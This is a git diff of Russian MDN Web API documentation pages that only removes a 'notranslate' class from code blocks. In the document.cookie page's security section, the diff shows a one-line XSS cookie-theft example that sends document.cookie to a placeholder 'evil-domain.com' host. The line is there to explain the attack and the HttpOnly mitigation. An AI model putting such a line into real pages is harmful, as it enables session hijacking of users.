id="Параметры">Параметры</h3> @@ -38,12 +38,12 @@ translation_of: Web/API/CanvasRenderingContext2D/fillText <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><canvas id="canvas"></canvas> +<pre class="brush: html"><canvas id="canvas"></canvas> </pre> <h4 id="JavaScript">JavaScript</h4> -<pre class="brush: js; highlight:[5] notranslate">var canvas = document.getElementById("canvas"); +<pre class="brush: js; highlight:[5]">var canvas = document.getElementById("canvas"); var ctx = canvas.getContext("2d"); ctx.font = "48px serif"; @@ -55,7 +55,7 @@ ctx.fillText("Hello world", 50, 100); <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> +<pre class="brush: html"><canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> <input id="edit" type="button" value="Edit" /> <input id="reset" type="button" value="Reset" /> @@ -65,7 +65,7 @@ ctx.font = "48px serif"; ctx.fillText("Hello world", 50, 100);</textarea> </pre> -<pre class="brush: js notranslate">var canvas = document.getElementById("canvas"); +<pre class="brush: js">var canvas = document.getElementById("canvas"); var ctx = canvas.getContext("2d"); var textarea = document.getElementById("code"); var reset = document.getElementById("reset"); diff --git a/files/ru/web/api/cleartimeout/index.html b/files/ru/web/api/cleartimeout/index.html index b7f57b0b6e..b535695757 100644 --- a/files/ru/web/api/cleartimeout/index.html +++ b/files/ru/web/api/cleartimeout/index.html @@ -10,7 +10,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/clearTimeout <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>scope</em>.clearTimeout(<em>timeoutID</em>) +<pre class="syntaxbox"><em>scope</em>.clearTimeout(<em>timeoutID</em>) </pre> <h3 id="Параметры">Параметры</h3> @@ -27,7 +27,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/clearTimeout <p>Запустите приведённый ниже скрипт в контакте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щёлкните страницу несколько раз за одну секунду, предупреждение появится только один раз.</p> -<pre class="brush: js notranslate">var alarm = { +<pre class="brush: js">var alarm = { remind: function(aMessage) { alert(aMessage); this.timeoutID = undefined; diff --git a/files/ru/web/api/clients/openwindow/index.html b/files/ru/web/api/clients/openwindow/index.html index a1f6ba58c9..d826c65b06 100644 --- a/files/ru/web/api/clients/openwindow/index.html +++ b/files/ru/web/api/clients/openwindow/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/Clients/openWindow <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">self.clients.openWindow(<em>url</em>).then(function(<em>windowClient</em>) { +<pre class="syntaxbox">self.clients.openWindow(<em>url</em>).then(function(<em>windowClient</em>) { // Do something with your WindowClient });</pre> @@ -41,7 +41,7 @@ translation_of: Web/API/Clients/openWindow <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate">// Отправить уведомление в OS, если возможно +<pre class="brush: js">// Отправить уведомление в OS, если возможно if (self.Notification.permission === 'granted') { const notificationObject = { body: 'Click here to view your messages.', diff --git a/files/ru/web/api/clipboard_api/index.html b/files/ru/web/api/clipboard_api/index.html index eee5f234f1..b377523d09 100644 --- a/files/ru/web/api/clipboard_api/index.html +++ b/files/ru/web/api/clipboard_api/index.html @@ -30,7 +30,7 @@ translation_of: Web/API/Clipboard_API <p>Вместо создания объекта буфера посредством инициализации экземпляра, вы получаете доступ к системному буферу обмена через глобальный {{domxref("Navigator.clipboard")}}:</p> -<pre class="brush: js notranslate">navigator.clipboard.readText().then( +<pre class="brush: js">navigator.clipboard.readText().then( clipText => document.querySelector(".editor").innerText += clipText);</pre> <p>Этот фрагмент извлекает текст из буфера обмена и добавляет его к первому элементу, найденному с помощью <code>editor</code> (редактора) классов. Этот код безопасен, поскольку {{domxref("Clipboard.readText", "readText()")}} (и {{domxref("Clipboard.read", "read()")}}, если на то пошло) возвращает пустую строку, если в буфере обмена нет текста.</p> diff --git a/files/ru/web/api/console/clear/index.html b/files/ru/web/api/console/clear/index.html index 9f0985ba88..4bee01887f 100644 --- a/files/ru/web/api/console/clear/index.html +++ b/files/ru/web/api/console/clear/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/Console/clear <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">console.clear(); +<pre class="syntaxbox">console.clear(); </pre> <h2 id="Спецификация">Спецификация</h2> diff --git a/files/ru/web/api/console/debug/index.html b/files/ru/web/api/console/debug/index.html index 4d90c7e264..9a0606f361 100644 --- a/files/ru/web/api/console/debug/index.html +++ b/files/ru/web/api/console/debug/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Console/debug <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">console.debug(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]); +<pre class="syntaxbox">console.debug(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]); console.debug(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]); </pre> diff --git a/files/ru/web/api/css_object_model/managing_screen_orientation/index.html b/files/ru/web/api/css_object_model/managing_screen_orientation/index.html index 34c3cb7125..673a22eafa 100644 --- a/files/ru/web/api/css_object_model/managing_screen_orientation/index.html +++ b/files/ru/web/api/css_object_model/managing_screen_orientation/index.html @@ -25,7 +25,7 @@ original_slug: Web/API/CSS_Object_Model/ориентация_экрана <p>Пример. Имеется HTML страница:</p> -<pre class="brush: html notranslate"><ul id="toolbar"> +<pre class="brush: html"><ul id="toolbar"> <li>A</li> <li>B</li> <li>C</li> @@ -36,7 +36,7 @@ original_slug: Web/API/CSS_Object_Model/ориентация_экрана <p>Соответствующий CSS:</p> -<pre class="brush: css notranslate">/* Сначала зададим простые стили */ +<pre class="brush: css">/* Сначала зададим простые стили */ html, body { width : 100%; @@ -79,7 +79,7 @@ li { <p>Теперь разберёмся с поведением страницы в различных случаях ориентации.</p> -<pre class="brush: css notranslate">/* Для портретного режима отправим панель на верхнюю часть области отображения */ +<pre class="brush: css">/* Для портретного режима отправим панель на верхнюю часть области отображения */ @media screen and (orientation: portrait) { #toolbar { @@ -146,7 +146,7 @@ li { <p>Событие {{event("orientationchange")}} возникает каждый раз, когда устройство изменяет ориентацию экрана и самого себя, и может быть отслежено свойством {{domxref("Screen.orientation")}}.</p> -<pre class="brush: js notranslate">screen.addEventListener("orientationchange", function () { +<pre class="brush: js">screen.addEventListener("orientationchange", function () { console.log("The orientation of the screen is: " + screen.orientation); }); </pre> @@ -157,7 +157,7 @@ li { <p>Метод {{domxref("Screen.lockOrientation()")}} принимает одну или несколько строк для определения типа блокировки: <code>portrait-primary</code>, <code>portrait-secondary</code>, <code>landscape-primary</code>, <code>landscape-secondary</code>, <code>portrait</code>, <code>landscape</code>. Подробнее: {{domxref("Screen.lockOrientation")}}.</p> -<pre class="brush: js notranslate">screen.lockOrientation('landscape');</pre> +<pre class="brush: js">screen.lockOrientation('landscape');</pre> <div class="note"> <p><strong>Примечание:</strong> Положение экрана зависит от конкретной настройки приложения. Если в приложении A экран блокируется на альбомную ориентацию (<code>landscape</code>), а приложение B блокирует экран на портретный режим (<code>portrait</code>), @@ -170,7 +170,7 @@ li { <p>Для Firefox OS и Firefox Android (скоро заработает и в десктопном Firefox) существует более специфичный способ: в файле манифеста вашего приложения можно указать <a href="/en-US/Apps/Build/Manifest#orientation">ориентацию</a>:</p> -<pre class="brush: json notranslate">"orientation": "portrait"</pre> +<pre class="brush: json">"orientation": "portrait"</pre> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html index fa6153145c..4d8ddfdc83 100644 --- a/files/ru/web/api/document/cookie/index.html +++ b/files/ru/web/api/document/cookie/index.html @@ -17,13 +17,13 @@ translation_of: Web/API/Document/cookie <h3 id="Чтение_всех_cookies_связанных_с_текущим_документом">Чтение всех cookies, связанных с текущим документом</h3> -<pre class="syntaxbox notranslate"><em>allCookies</em> = <em>document</em>.cookie;</pre> +<pre class="syntaxbox"><em>allCookies</em> = <em>document</em>.cookie;</pre> <p>In the code above <var>allCookies</var> is a string containing a semicolon-separated list of all cookies (i.e. <code><var>key</var>=<var>value</var></code> pairs). Note that each <var>key</var> and <var>value</var> may be surrounded by whitespace (space and tab characters): in fact <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a> mandates a single space after each semicolon, but some user agents may not abide by this.</p> <h3 id="Запись_новой_cookie">Запись новой cookie</h3> -<pre class="syntaxbox notranslate" id="new-cookie_syntax"><em>document</em>.cookie = <em>newCookie</em>;</pre> +<pre class="syntaxbox" id="new-cookie_syntax"><em>document</em>.cookie = <em>newCookie</em>;</pre> <p>В приведённом коде <code>newCookie</code> - строка в виде <code><em>key</em>=<em>value</em></code><em>. </em>Заметьте, у вас есть возможность установить/обновить лишь одну связку <code><em>key</em>=<em>value</em></code> за один раз, используя этот метод. Стоит отметить, что:</p> @@ -86,21 +86,21 @@ translation_of: Web/API/Document/cookie <h3 id="Пример_1_Простое_использование">Пример #1: Простое использование</h3> -<pre class="brush: js notranslate">document.cookie = "name=oeschger"; +<pre class="brush: js">document.cookie = "name=oeschger"; document.cookie = "favorite_food=tripe"; function alertCookie() { alert(document.cookie); } </pre> -<pre class="brush: html notranslate"><button onclick="alertCookie()">Show cookies</button> +<pre class="brush: html"><button onclick="alertCookie()">Show cookies</button> </pre> <p>{{EmbedLiveSample('Пример_1_Простое_использование', 200, 36)}}</p> <h3 id="Пример_2_Получить_cookie_с_именем_test2">Пример #2: Получить cookie с именем <em>test2</em></h3> -<pre class="brush: js notranslate">document.cookie = "test1=Hello"; +<pre class="brush: js">document.cookie = "test1=Hello"; document.cookie = "test2=World"; var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1"); @@ -110,7 +110,7 @@ function alertCookieValue() { } </pre> -<pre class="brush: html notranslate"><button onclick="alertCookieValue()">Show cookie value</button></pre> +<pre class="brush: html"><button onclick="alertCookieValue()">Show cookie value</button></pre> <p>{{EmbedLiveSample('Пример_2_Получить_cookie_с_именем_test2', 200, 36)}}</p> @@ -118,30 +118,30 @@ function alertCookieValue() { <p>При использовании следующего кода замените все вхождения <code>doSomethingOnlyOnce</code> (наименование cookie) на другое имя.</p> -<pre class="brush: js notranslate">function doOnce() { +<pre class="brush: js">function doOnce() { if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { alert("Do something here!"); document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; } }</pre> -<pre class="brush: html notranslate"><button onclick="doOnce()">Only do something once</button></pre> +<pre class="brush: html"><button onclick="doOnce()">Only do something once</button></pre> <p>{{EmbedLiveSample('Пример_3_Выполнить_операцию_единожды', 200, 36)}}</p> <h3 id="Пример_4_Перезагрузить_cookie">Пример #4: Перезагрузить cookie</h3> -<pre class="brush: js notranslate">function resetOnce() { +<pre class="brush: js">function resetOnce() { document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; }</pre> -<pre class="brush: html notranslate"><button onclick="resetOnce()">Reset only once cookie</button></pre> +<pre class="brush: html"><button onclick="resetOnce()">Reset only once cookie</button></pre> <p>{{EmbedLiveSample('Пример_4_Перезагрузить_cookie', 200, 36)}}</p> <h3 id="Example_5_Проверить_существование_cookie">Example #5: Проверить существование cookie</h3> -<pre class="notranslate"><code>//ES5 +<pre><code>//ES5 if (document.cookie.split(';').filter(function(item) { return item.trim().indexOf('reader=') == 0 @@ -157,7 +157,7 @@ if (document.cookie.split(';').filter((item) => item.trim().startsWith('reade <h3 id="Example_6_Проверить_что_cookie_имеет_определённое_значение">Example #6: Проверить, что cookie имеет определённое значение</h3> -<pre class="notranslate"><code>//ES5 +<pre><code>//ES5 if (document.cookie.split(';').filter(function(item) { return item.indexOf('reader=1') >= 0 @@ -177,7 +177,7 @@ if (document.cookie.split(';').filter((item) => item.includes('reader=1')).le <p>Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -</p> -<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; </pre> <p>The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a>.</p> @@ -195,7 +195,7 @@ if (document.cookie.split(';').filter((item) => item.includes('reader=1')).le <h5 id="The_server_tells_the_client_to_store_a_cookie">The server tells the client to store a cookie</h5> -<pre class="eval notranslate">HTTP/1.0 200 OK +<pre class="eval">HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT @@ -204,7 +204,7 @@ Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT <h5 id="The_client_sends_back_to_the_server_its_cookies_previously_stored">The client sends back to the server its cookies previously stored</h5> -<pre class="eval notranslate">GET /sample_page.html HTTP/1.1 +<pre class="eval">GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */* @@ -216,7 +216,7 @@ Accept: */* <h5 id="Library">Library</h5> -<pre class="brush: js notranslate">/*\ +<pre class="brush: js">/*\ |*| |*| :: Translate relative paths to absolute paths :: |*| @@ -239,7 +239,7 @@ function relPathToAbs (sRelPath) { <h5 id="Sample_usage">Sample usage</h5> -<pre class="brush: js notranslate">/* Let us be in /en-US/docs/Web/API/document.cookie */ +<pre class="brush: js">/* Let us be in /en-US/docs/Web/API/document.cookie */ alert(location.pathname); // displays: /en-US/docs/Web/API/document.cookie @@ -260,7 +260,7 @@ alert(relPathToAbs("../Guide/././API/../../../Firefox")); <p>If you don't want to use an <em>absolute date</em> for the <code>end</code> parameter, here you can find some numeric examples of expiration-dates <em>relative to the moment of storage of the cookie</em>:</p> -<pre class="brush: js notranslate">docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY +<pre class="brush: js">docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days) docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR</pre> @@ -271,7 +271,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e <h4 id="Библиотека">Библиотека</h4> -<pre class="notranslate"><code>function executeOnce () { +<pre><code>function executeOnce () { var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string"; if (bImplGlob) { argc++; } if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); } @@ -286,7 +286,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e <h4 id="Синтаксис_2">Синтаксис</h4> -<pre class="notranslate">executeOnce(<var>callback</var>[, <var>thisObject</var>[, <var>argumentToPass1</var>[, <var>argumentToPass2</var>[, …[, <var>argumentToPassN</var>]]]]], <var>identifier</var>[, <var>onlyHere</var>])</pre> +<pre>executeOnce(<var>callback</var>[, <var>thisObject</var>[, <var>argumentToPass1</var>[, <var>argumentToPass2</var>[, …[, <var>argumentToPassN</var>]]]]], <var>identifier</var>[, <var>onlyHere</var>])</pre> <h4 id="Описание">Описание</h4> @@ -309,7 +309,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e <h4 id="Примеры_использования">Примеры использования</h4> -<pre class="notranslate"><code>function alertSomething (sMsg) { +<pre><code>function alertSomething (sMsg) { alert(sMsg); } diff --git a/files/ru/web/api/document/evaluate/index.html b/files/ru/web/api/document/evaluate/index.html index d2839a3bc1..ec48166876 100644 --- a/files/ru/web/api/document/evaluate/index.html +++ b/files/ru/web/api/document/evaluate/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Document/evaluate <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate">var xpathResult = document.evaluate( +<pre class="syntaxbox">var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, @@ -27,7 +27,7 @@ translation_of: Web/API/Document/evaluate <h2 id="Example">Пример</h2> -<pre class="brush: js notranslate">var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null); +<pre class="brush: js">var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null); /* Найти в документе все элементы h2 * В качестве результата будет получен узловой итератор. */ var thisHeading = headings.iterateNext(); @@ -43,7 +43,7 @@ alert(alertText); // Показывает alert со всеми найденны <p>Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:</p> -<pre class="brush: js notranslate">document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null); +<pre class="brush: js">document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null); </pre> <p>Notice in the above <code>document.body</code> has been used as the context instead of <code>document</code> so the XPath starts from the body element. (In this example, the <code>"."</code> is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving <code>//h2</code>) the query would start from the root node (<code>html</code>) which would be more wasteful.)</p> diff --git a/files/ru/web/api/document/execcommand/index.html b/files/ru/web/api/document/execcommand/index.html index d89c32ba30..ff6d160278 100644 --- a/files/ru/web/api/document/execcommand/index.html +++ b/files/ru/web/api/document/execcommand/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Document/execCommand <h2 id="Syntax">Синтаксис</h2> -<pre class="brush: js notranslate">execCommand(String aCommandName, Boolean aShowDefaultUI, String aValueArgument) +<pre class="brush: js">execCommand(String aCommandName, Boolean aShowDefaultUI, String aValueArgument) </pre> <h3 id="Аргументы">Аргументы</h3> @@ -267,7 +267,7 @@ translation_of: Web/API/Document/execCommand <h2 id="Example">Пример</h2> -<pre class="notranslate"><code>iframeNode</code>.execCommand("bold"); // Жирный текст +<pre><code>iframeNode</code>.execCommand("bold"); // Жирный текст <code>iframeNode</code>.execCommand("undo"); // Отмена последнего действия <code>iframeNode</code>.execCommand("insertText", false, "Lorem ipsum dolor sit amet, consectetur adipisicing elit."); // Вставка текста </pre> diff --git a/files/ru/web/api/document/head/index.html b/files/ru/web/api/document/head/index.html index 85fdcb7b64..78c09b0450 100644 --- a/files/ru/web/api/document/head/index.html +++ b/files/ru/web/api/document/head/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Document/head <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>var objRef</em> = document.head; +<pre class="syntaxbox"><em>var objRef</em> = document.head; </pre> @@ -26,7 +26,7 @@ translation_of: Web/API/Document/head <h2 id="Пример">Пример</h2> -<pre class="notranslate"><code><!doctype html> +<pre><code><!doctype html> <head id="my-document-head"> <title>Example: using document.head</title> </head> diff --git a/files/ru/web/api/document/queryselector/index.html b/files/ru/web/api/document/queryselector/index.html index 1202819d7c..0f2dbb4229 100644 --- a/files/ru/web/api/document/queryselector/index.html +++ b/files/ru/web/api/document/queryselector/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/Document/querySelector <h2 id="Syntax">Синтаксис</h2> -<pre class="brush: js notranslate">element = document.querySelector(selectors); +<pre class="brush: js">element = document.querySelector(selectors); </pre> <h3 id="Параметры">Параметры</h3> @@ -59,7 +59,7 @@ translation_of: Web/API/Document/querySelector <p>Чтобы сопоставить ID или селекторы, которые не соответствуют стандартному синтаксису CSS (например, использующих ненадлежащим образом двоеточие или пробел), необходимо экранировать символ обратной косой чертой ("<code>\</code>"). Поскольку обратная косая черта также является экранирующим символом в JavaScript, то при вводе литеральной строки необходимо экранировать её <em>дважды</em> (первый раз для строки JavaScript и второй для <code>querySelector()</code>):</p> -<pre class="brush: html notranslate"><div id="foo\bar"></div> +<pre class="brush: html"><div id="foo\bar"></div> <div id="foo:bar"></div> <script> @@ -80,14 +80,14 @@ translation_of: Web/API/Document/querySelector <p>В этом примере, нам вернётся первый элемент в документе с классом "<code>myclass</code>":</p> -<pre class="brush: js notranslate">var el = document.querySelector(".myclass"); +<pre class="brush: js">var el = document.querySelector(".myclass"); </pre> <h3 id="Notes">Более сложный селектор</h3> <p>Селекторы, передаваемые в querySelector, могут быть использованы и для точного поиска, как показано в примере ниже. В данном примере возвращается элемент <input name="login"/>, находящийся в <div class="user-panel main">:</p> -<pre class="brush: js notranslate">var el = document.querySelector("div.user-panel.main input[name=login]"); +<pre class="brush: js">var el = document.querySelector("div.user-panel.main input[name=login]"); </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/document/readystate/index.html b/files/ru/web/api/document/readystate/index.html index fee81eb14b..050cbbf190 100644 --- a/files/ru/web/api/document/readystate/index.html +++ b/files/ru/web/api/document/readystate/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/Document/readyState <h2 id="Синтаксис">Синтаксис</h2> -<pre class="notranslate">var <var>string</var> = <var>document</var>.readyState;</pre> +<pre>var <var>string</var> = <var>document</var>.readyState;</pre> <h3 id="Значения">Значения</h3> @@ -37,7 +37,7 @@ translation_of: Web/API/Document/readyState <h3 id="Разные_состояния_загрузки_страницы">Разные состояния загрузки страницы</h3> -<pre class="brush: js notranslate"><span>switch (document.readyState) { +<pre class="brush: js"><span>switch (document.readyState) { case "loading": // Страница все ещё загружается break; @@ -56,7 +56,7 @@ translation_of: Web/API/Document/readyState <h3 id="readystatechange_как_альтернатива_событию_DOMContentLoaded">readystatechange как альтернатива событию DOMContentLoaded</h3> -<pre class="brush:js notranslate">// альтернатива событию DOMContentLoaded +<pre class="brush:js">// альтернатива событию DOMContentLoaded document.onreadystatechange = function () { if (document.readyState == "interactive") { initApplication(); @@ -65,7 +65,7 @@ document.onreadystatechange = function () { <h3 id="readystatechange_как_альтернатива_событию_load">readystatechange как альтернатива событию load</h3> -<pre class="brush: js notranslate">// альтернатива событию load +<pre class="brush: js">// альтернатива событию load document.onreadystatechange = function () { if (document.readyState == "complete") { initApplication(); diff --git a/files/ru/web/api/document/scroll_event/index.html b/files/ru/web/api/document/scroll_event/index.html index 5b50a26c31..ec8d9fd4a2 100644 --- a/files/ru/web/api/document/scroll_event/index.html +++ b/files/ru/web/api/document/scroll_event/index.html @@ -50,7 +50,7 @@ translation_of: Web/API/Document/scroll_event <p>Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведённая ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие <code>scroll</code> для <code>requestAnimationFrame</code>:</p> -<pre class="brush: js notranslate">// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/ +<pre class="brush: js">// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/ let last_known_scroll_position = 0; let ticking = false; diff --git a/files/ru/web/api/domimplementation/createhtmldocument/index.html b/files/ru/web/api/domimplementation/createhtmldocument/index.html index 6a93e3afb9..a0157be6d6 100644 --- a/files/ru/web/api/domimplementation/createhtmldocument/index.html +++ b/files/ru/web/api/domimplementation/createhtmldocument/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">const <var>newDoc</var> = document.implementation.createHTMLDocument(<var>title</var>)</pre> +<pre class="syntaxbox">const <var>newDoc</var> = document.implementation.createHTMLDocument(<var>title</var>)</pre> <h3 id="Параметры">Параметры</h3> @@ -30,7 +30,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument <p>Вот HTML для этого примера:</p> -<pre class="brush: html notranslate"><body> +<pre class="brush: html"><body> <p>Click <a href="javascript:makeDocument()">here</a> to create a new document and insert it below.</p> <iframe id="theFrame" src="about:blank" /> </body> @@ -38,7 +38,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument <p>Реализация JavaScript <code>makeDocument()</code> выглядит следующим образом:</p> -<pre class="brush: js notranslate">function makeDocument() { +<pre class="brush: js">function makeDocument() { let frame = document.getElementById("theFrame"); let doc = document.implementation.createHTMLDocument("New Document"); @@ -69,7 +69,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument <p>Возвращаемый документ предварительно сконструирован со следующим HTML-кодом:</p> -<pre class="brush: html notranslate"><!doctype html> +<pre class="brush: html"><!doctype html> <html> <head> <title><var>title</var></title> diff --git a/files/ru/web/api/domtokenlist/replace/index.html b/files/ru/web/api/domtokenlist/replace/index.html index 41172fee2f..b682299fcb 100644 --- a/files/ru/web/api/domtokenlist/replace/index.html +++ b/files/ru/web/api/domtokenlist/replace/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/DOMTokenList/replace <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>tokenList</var>.replace(<var>oldToken</var>, <var>newToken</var>);</pre> +<pre class="syntaxbox"><var>tokenList</var>.replace(<var>oldToken</var>, <var>newToken</var>);</pre> <h3 id="Параметры">Параметры</h3> @@ -34,11 +34,11 @@ translation_of: Web/API/DOMTokenList/replace <p>В HTML:</p> -<pre class="brush: html notranslate"><span class="a b c"></span></pre> +<pre class="brush: html"><span class="a b c"></span></pre> <p>В JavaScript:</p> -<pre class="brush: js notranslate">let span = document.querySelector("span"); +<pre class="brush: js">let span = document.querySelector("span"); let classes = span.classList; let result = classes.replace("c", "z"); @@ -58,7 +58,7 @@ if (result) { <p>Следующий полифил добавит метод replace в класс <code>DOMTokenList</code>. Следующий код будет работать только с <strong>IE10-11</strong>. Чтобы использовать с более ранними версиями IE, обратитесь к полифилу по {{domxref("element.classList#Polyfill")}}</p> -<pre class="brush: js notranslate"><code>DOMTokenList.prototype.replace = function (a, b) { +<pre class="brush: js"><code>DOMTokenList.prototype.replace = function (a, b) { if (this.contains(a)) { this.add(b); this.remove(a); diff --git a/files/ru/web/api/element/closest/index.html b/files/ru/web/api/element/closest/index.html index 6402a20d93..9ad86944f7 100644 --- a/files/ru/web/api/element/closest/index.html +++ b/files/ru/web/api/element/closest/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Element/closest <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>elt =</em><em> element</em>.closest(<em>selectors</em>); +<pre class="syntaxbox">var <em>elt =</em><em> element</em>.closest(<em>selectors</em>); </pre> <ul> @@ -32,7 +32,7 @@ translation_of: Web/API/Element/closest <h2 id="Example">Пример</h2> -<pre class="notranslate"><div id="block" title="Я - блок"> +<pre><div id="block" title="Я - блок"> <a href="#">Я ссылка в никуда</a> <a href="http://site.ru">Я ссылка на сайт</a> <div> @@ -43,7 +43,7 @@ translation_of: Web/API/Element/closest <p>Думаю, стоит рассмотреть несколько примеров:</p> -<pre class="brush: js notranslate">var div = document.querySelector("#too"); //Это элемент от которого мы начнём поиск +<pre class="brush: js">var div = document.querySelector("#too"); //Это элемент от которого мы начнём поиск div.closest("#block"); //Результат - самый первый блок древа выше div.closest("div"); //Сам блок #too и будет результатом, так как он подходит под селектор "div" @@ -56,7 +56,7 @@ div.closest("div[title]") //#block - так как ближе нет блоко <p>Для браузеров не поддерживающих Element.closest(), но позволяющих использовать element.matches() (или префиксный эквивалент) есть полифил:</p> -<pre class="brush: js notranslate">(function(ELEMENT) { +<pre class="brush: js">(function(ELEMENT) { ELEMENT.matches = ELEMENT.matches || ELEMENT.mozMatchesSelector || ELEMENT.msMatchesSelector || ELEMENT.oMatchesSelector || ELEMENT.webkitMatchesSelector; ELEMENT.closest = ELEMENT.closest || function closest(selector) { if (!this) return null; @@ -70,7 +70,7 @@ div.closest("div[title]") //#block - так как ближе нет блоко <p>Тем не менее, если вам требуется поддержка IE 8, вы можете использовать следующий полифил. Имейте ввиду - этот способ позволяет использовать CSS селекторы только уровня 2.1 и может жутко тормозить.</p> -<pre class="brush: js notranslate">(function(e){ +<pre class="brush: js">(function(e){ e.closest = e.closest || function(css){ var node = this; <code class="language-javascript"><span class="keyword token"> diff --git a/files/ru/web/api/element/innerhtml/index.html b/files/ru/web/api/element/innerhtml/index.html index aebc96174b..c3b5db5ccb 100644 --- a/files/ru/web/api/element/innerhtml/index.html +++ b/files/ru/web/api/element/innerhtml/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Element/innerHTML <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">const <var>content</var> = <var>element</var>.innerHTML; +<pre class="brush: js">const <var>content</var> = <var>element</var>.innerHTML; <var>element</var>.innerHTML = <var>htmlString</var>; </pre> @@ -35,11 +35,11 @@ translation_of: Web/API/Element/innerHTML <p>Это свойство предоставляет простой способ полностью заменить содержимое элемента. Например, все содержимое элемента body может быть удалено:</p> -<pre class="brush: js notranslate">document.body.innerHTML = ""; // Заменяет содержимое тела пустой строкой.</pre> +<pre class="brush: js">document.body.innerHTML = ""; // Заменяет содержимое тела пустой строкой.</pre> <p>Свойство innerHTML многих типов элементов, включая {{HTMLElement("body")}} или {{HTMLElement("html")}}, могут быть возвращены или перемещены. Это может так же быть использовано для просмотра кода страницы, которая была изменена динамически:</p> -<pre class="brush: js notranslate">// Скопируйте и вставьте в адресную строку в виде одной строки. +<pre class="brush: js">// Скопируйте и вставьте в адресную строку в виде одной строки. 